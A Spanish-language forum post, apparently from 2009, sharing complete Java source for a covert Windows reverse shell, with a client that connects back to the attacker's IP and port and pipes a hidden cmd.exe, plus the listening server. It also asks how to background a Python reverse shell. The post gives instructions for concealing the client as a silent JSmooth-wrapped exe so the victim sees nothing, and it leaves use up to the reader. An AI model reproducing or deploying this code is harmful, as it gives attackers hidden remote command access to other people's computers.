Temas

[Cliente]

Bueno, dado que no tuve maneras de hacerlo con python, lo he acabado haciendo en Java XD
Aunque ha quedado mas largo de lo que me gustaria....

Bueno, pues es eso, dejais a la escucha el servidor y cuando alguien ejecute el cliente os devuelve acceso a una linea de comandos sin que a el le aparezca nada :3

Hay que ponerle tu ip y un puerto en los valores por defectos dentro del cliente para que se conecte automaticamente
En cuanto al puerto, cuanto mas alto, mas gloria (no useis uno bajo...)

Lo suyo es que si lo vais a usar comprimais en un jar el servidor y en otro el cliente, y luego el cliente lo convirtais en un exe con JSmooth
Para ello en el JSmooth le poneis:
-En Skeleton: Windowed Wrapper y le borrais todos los mensajes
-En Executable los valores que querais
-En Application le añadis el jar y le selecionas la main class, acordaros tambien de añadir el mismo jar en lo de embedded jar


Cliente

-Main

Código (java) [Seleccionar] Expandir


/**
*
* Autor: Danther
* Fecha: 03/08/2009
*
**/

package reverse_cliente;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.Socket;

public class Main {

    private Socket s;
    private BufferedReader comandos;
    private PrintWriter envioRespuesta;
    private PrintWriter envioComando;
    private BufferedReader lecturaComando;
    public static boolean activo = true;
    private char unidad;
    private String directorio;
    private Process t;

    Main(String[] args){
        //Abrimos un socket hacia nuestra maquina
        try{
            s = new Socket(args[0], Integer.parseInt(args[1]));
        }catch(Exception e){
            System.out.println("Host o puerto no validos");
            System.exit(-1);
        }
        //Creamos los stream socket, para recibir los comandos
        try{
            comandos = new BufferedReader(new InputStreamReader(s.getInputStream()));
            envioRespuesta = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
            envioRespuesta.println("Conexion abierta desde "+s.getInetAddress().toString()+" por el puerto "+s.getLocalPort());
            envioRespuesta.flush();
        }catch(IOException ioe){
            System.out.println("Error al crear los streams");
            System.exit(-1);
        }
        //Obtenemos la unidad en la que se encuentra este archivo
        unidad = this.getClass().getResource("").getPath().charAt(6);
        directorio = unidad+":"barra invertida""barra invertida""; //Poner las barras invertidas de verdad antes de compilar,
                             //las he quitado por problemas con el code de phpbb
        //Abrimos el interprete de comandos en la raiz de la unidad y se lo pasamos a Lectura
        try {           
            t = Runtime.getRuntime().exec("cmd /K cd "+directorio);           
            envioComando = new PrintWriter(new OutputStreamWriter(t.getOutputStream()));
            lecturaComando = new BufferedReader(new InputStreamReader(t.getInputStream()));
            //Finalizamos el proceso del ejecutable, y dejamos solo el cmd.exe y java corriendo
            envioComando.println("taskkill /F /IM Reverse_Cliente.exe");
            envioComando.println();
            envioComando.flush();
        } catch (IOException ex) {
            System.out.println("Error al abrir el interprete de comandos");
            System.exit(-1);
        }
    }

    private void Reverse(){
        String com;
        String resp;
        try {
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.flush();
        } catch (Exception u) {
            activo = false;
            this.close();
        }
                                   
        //Bucle principal
        while(activo){
            //Esperamos una nueva orden, en caso de ser C3rrand0 finaliza la ejecucion
            try{
                com = comandos.readLine();
                if(com.indexOf("C3rrand0") != -1){
                    activo = false;
                    this.close();
                    break;
                }
            }catch(IOException ioe){
                activo = false;
                this.close();
                break;
            }
            //Ejecutamos la nueva orden y enviamos la respuesta
            try{
                envioComando.println(com);
                envioComando.println("55221276");
                envioComando.flush();
                while((resp = lecturaComando.readLine()).indexOf("55221276") == -1){
                    envioRespuesta.println(resp);
                    envioRespuesta.flush();
                }
            }catch(Exception i){
            }
        }
    }

    private void close(){
        //Cerramos los streams y el socket
        try {
            lecturaComando.close();
            envioRespuesta.close();
            envioComando.close();
            comandos.close();
            s.close();
            System.exit(0);
        } catch (IOException ex) {
            System.out.println("Error al cerrar");
            System.exit(-1);
        }

    }

    public static void main(String[] args) {
        Main main = null;
        if(args.length == 2){
            main = new Main(args);
            main.Reverse();
        }else if(args.length != 0){
            System.out.println("Reverse Shell en Windows por Danther (Cliente)");
            System.out.println("====================================");
            System.out.println();
            System.out.println("Uso:");
            System.out.println("Reverse_Cliente.exe \"Tu propia ip\" \"Un puerto a la escucha\"");
            System.exit(0);
        //Si se ejecuta sin argumentos
        }else{
            String[] argsD = {"Host por defecto", "Puerto por defecto"};
            main = new Main(argsD);
            main.Reverse();
        }
    }

}


Servidor

-Main

Código (Java) [Seleccionar] Expandir


/**
*
* Autor: Danther
* Fecha: 03/08/2009
*
**/

package reverse_servidor;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;

public class Main {

   private ServerSocket ss;
   private Socket s;
   private PrintWriter comandos;
   private BufferedReader envio;
   protected static boolean activo = true;

   Main(String[] args){
       try {
           //Creamos el servidor y esperamos a una conexion entrante
           ss = new ServerSocket(Integer.parseInt(args[0]));
           s = ss.accept();
           //Creamos un stream para enviar comandos y otro para leer nuestra entrada
           comandos = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
           envio = new BufferedReader(new InputStreamReader(System.in));
           //Iniciamos el thread lectura
           Lectura lectura = new Lectura(s);
           lectura.start();
       } catch (Exception ex) {
           Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
       }
   }

   private void Envio() {
       String env;
       //Bucle principal
       while(activo){
           //Leemos nuestra entrada y la enviamos al cliente, si esta es C3rrand0 ceramos la conexion
           try {
               env = envio.readLine();
               comandos.println(env);
               comandos.flush();
               if(env.indexOf("C3rrand0") != -1){
                   activo = false;                    
                   this.close();
                   break;
               }
           } catch (IOException ex) {
               Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
               activo = false;
               this.close();
               break;
           }
       }
   }

   private void close() {
       //Cerramos los stream y los sockets
       try {
           Lectura.respuesta.close();
           comandos.close();
           envio.close();
           s.close();
           ss.close();
       } catch (IOException ex) {
           Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
           System.exit(-1);
       }

   }

   public static void main(String[] args) {
       Main main = null;
       if(args.length == 2){
           main = new Main(args);
           main.Envio();
       }else if(args.length != 0){
           System.out.println("Reverse Shell en Windows por Danther (Servidor)");
           System.out.println("====================================");
           System.out.println();
           System.out.println("Uso:");
           System.out.println("Reverse_Servidor.jar \"Un puerto local a la escucha\", \"Cualquier valor\"");
           System.exit(0);
       }else{
           //Si se ejecuta sin argumentos
           String[] argsD = {"Puerto local por defecto", "0"};
           main = new Main(argsD);
           main.Envio();
       }
   }

}



-Lectura

Código (Java) [Seleccionar] Expandir


/**
*
* Autor: Danther
* Fecha: 03/08/2009
*
**/

package reverse_servidor;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.Socket;

public class Lectura extends Thread{

   protected static BufferedReader respuesta;

   Lectura(Socket s) throws IOException{
       //Creamos un stream para leer lo que envie el socket
       respuesta = new BufferedReader(new InputStreamReader(s.getInputStream()));
   }

   @Override
   public void run() {
       String resp;
       //Blucle principal
       while(Main.activo){
           //Leemos la entrada del socket y la mostramos
           try {
               resp = respuesta.readLine();
               if (resp != null){
               System.out.println(resp);
               }
           } catch (IOException ex) {
               System.out.println("Conexion terminada");
               Main.activo = false;
           }
       }
   }

}



Pd: Como lo useis, modifiqueis y/o integreis, es cosa vuestra :3 XD

Bueno, la cosa es que he estado mirando como usar python para una reverse shell en sistemas linux

Pero al ir a crear yo una en windows, me he dado cuenta de un pequeño inconveniente, windows no acepta de forma nativa el fork
Asi que no puedo correr python como un daemon

Las unicas soluciones que he encontrado son: usar programas externos para convertirlo en un servicio de windows, convertir mi .py en un ejecutable con py2exe e indicarle que no use la consola o usar el cygwin

El problema es que ninguno de esos metodos son viables para un reverse shell (o eso creo XD)

Entonces, ¿como podria hacer que un programa en python no dependiera de la consola o se ejecutara en segundo plano?
¿No es el lenguaje indicado para esto? ¿Deberia quemar windows...?